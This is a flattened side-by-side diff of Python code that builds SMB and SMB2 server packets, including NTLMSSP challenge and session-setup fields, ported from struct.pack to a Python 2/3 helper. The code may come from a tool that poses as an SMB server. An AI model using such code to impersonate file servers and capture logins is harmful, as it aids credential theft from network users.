self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le') self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le').decode('latin-1')
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le') self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le').decode('latin-1')
###### SecBlobLen Calc: ###### SecBlobLen Calc:
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
@ -1213,18 +1228,18 @@ class SMBSession1Data(Packet):
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"]) BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
###### SecBlobLen ###### SecBlobLen
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob)) self.fields["SecBlobLen"] = StructWithLenPython2or3("<h", len(AsnLen+CalculateSecBlob))
self.fields["Bcc"] = struct.pack("<h", len(BccLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccLen))
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3)
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-6)
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob))
###### Andxoffset calculation. ###### Andxoffset calculation.
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32) self.fields["Andxoffset"] = StructWithLenPython2or3("<h", len(CalculateCompletePacket)+32)
###### Workstation Offset ###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@ -1233,21 +1248,21 @@ class SMBSession1Data(Packet):
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation: ##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation: ##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMBSession2Accept(Packet): class SMBSession2Accept(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1268,7 +1283,7 @@ class SMBSession2Accept(Packet):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le') self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le') self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"]) BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccLen))
class SMBSessEmpty(Packet): class SMBSessEmpty(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1293,10 +1308,10 @@ class SMBTreeData(Packet):
## Complete Packet Len ## Complete Packet Len
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"]) CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
## AndXOffset ## AndXOffset
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32) self.fields["Andxoffset"] = StructWithLenPython2or3("<H", len(CompletePacket)+32)
## BCC Len Calc ## BCC Len Calc
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"]) BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
self.fields["Bcc"] = struct.pack("<H", len(BccLen)) self.fields["Bcc"] = StructWithLenPython2or3("<H", len(BccLen))
class SMBSessTreeAns(Packet): class SMBSessTreeAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1325,12 +1340,12 @@ class SMBSessTreeAns(Packet):
def calculate(self): def calculate(self):
## AndxOffset ## AndxOffset
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"]) CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2] self.fields["AndXoffset"] = StructWithLenPython2or3("<i", len(CalculateCompletePacket)+32)[:2]
## BCC 1 and 2 ## BCC 1 and 2
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"]) CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"]) CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len)) self.fields["Bcc2"] = StructWithLenPython2or3("<h",len(CompleteBCC2Len))
### SMB2 Packets ### SMB2 Packets
@ -1423,26 +1438,26 @@ class SMB2NegoAns(Packet):
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
#Packet Struct len #Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1) self.fields["Len"] = StructWithLenPython2or3("<h",len(StructLen)+1)
#Sec Blob lens #Sec Blob lens
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64) self.fields["SecBlobOffSet"] = StructWithLenPython2or3("<h",len(StructLen)+64)
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen)) self.fields["SecBlobLen"] = StructWithLenPython2or3("<h",len(SecBlobLen))
#ASN Stuff #ASN Stuff
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2) self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(SecBlobLen)-2)
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"]))) self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2)) self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2) self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen)) self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2) self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"]))) self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"]))) self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"]))) self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"]))) self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"]))) self.fields["NegThisMech5ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech5ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len)) self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2) self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4) self.fields["NegHintTag0ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMB2Session1Data(Packet): class SMB2Session1Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1515,12 +1530,12 @@ class SMB2Session1Data(Packet):
def calculate(self): def calculate(self):
###### Convert strings to Unicode ###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
#Packet struct calc: #Packet struct calc:
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"]) StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
@ -1529,41 +1544,40 @@ class SMB2Session1Data(Packet):
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
#Packet Struct len #Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1) self.fields["Len"] = StructWithLenPython2or3("<h",len(StructLen)+1)
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob)) self.fields["SecBlobLen"] = StructWithLenPython2or3("<H", len(AsnLen+CalculateSecBlob))
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64) self.fields["SecBlobOffSet"] = StructWithLenPython2or3("<h",len(StructLen)+64)
###### ASN Stuff ###### ASN Stuff
if len(CalculateSecBlob) > 255: if len(CalculateSecBlob) > 255:
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob)) self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">H", len(CalculateSecBlob))
else: else:
self.fields["Tag3ASNIdLenOfLen"] = "\x81" self.fields["Tag3ASNIdLenOfLen"] = "\x81"
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob))
if len(AsnLen+CalculateSecBlob)-3 > 255: if len(AsnLen+CalculateSecBlob)-3 > 255:
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4) self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-4)
else: else:
self.fields["ChoiceTagASNLenOfLen"] = "\x81" self.fields["ChoiceTagASNLenOfLen"] = "\x81"
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3)
if len(AsnLen+CalculateSecBlob)-7 > 255: if len(AsnLen+CalculateSecBlob)-7 > 255:
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8) self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-8)
else: else:
self.fields["NegTokenTagASNLenOfLen"] = "\x81" self.fields["NegTokenTagASNLenOfLen"] = "\x81"
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7) self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-7)
